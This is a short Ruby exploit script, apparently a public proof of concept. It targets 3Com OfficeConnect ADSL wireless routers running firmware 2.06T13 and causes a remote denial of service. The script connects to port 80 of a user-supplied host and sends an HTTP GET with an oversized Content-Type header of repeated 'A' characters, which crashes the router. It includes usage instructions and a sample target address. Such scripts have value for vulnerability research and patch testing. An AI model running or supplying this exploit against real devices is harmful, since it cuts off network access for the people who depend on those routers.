###############
# Model -> Tested on 3Com OfficeConnect ADSL Wireless 11g Firewall Router 3CRWDR100A-72 and 3CRWDR100Y-72
# Software Version -> Tested on 2.06T13 (Apr 2007, last version for these routers)
# Attacker -> Tested from GNU/Linux (Sidux and Ubuntu) and Windows 7
#
# Exploit languaje -> Ruby
# Type -> Remote Denial of Service Exploit by HTTP
#
# Additional info:
# - The bug can be exploited with Tamper Data (Firefox Addon) too, LOL.
#
###############
# Discovered and written by Alberto Ortega
# http://pentbox.net/
###############

require "socket"

host = ARGV[0]
buffer = "A"
send = ""

puts ""
if !host
 puts " 3Com OfficeConnect ADSL Wireless 11g Firewall Router"
 puts " Remote DoS Exploit by HTTP"
 puts " ------ Usage ---------------------------------------"
 puts " ruby 3com_dosexploit.rb host"
 puts " Ex: ruby 3com_dosexploit.rb 192.168.1.1"
else
 begin
  socket = TCPSocket.new(host, 80)
  puts "- Exploiting ..."
  # 8.times is enough to DoS
  9.times do
   buffer = "#{buffer}#{buffer}"
  end
  # Here are the HTTP packet, Content-Type value causes the DoS
  send = "GET / HTTP/1.1\r\nContent-Type:#{buffer}\r\n"
  socket.write(send)
  puts "- Successfully! :)"
 rescue
  puts "Connection problem"
 end
end
puts ""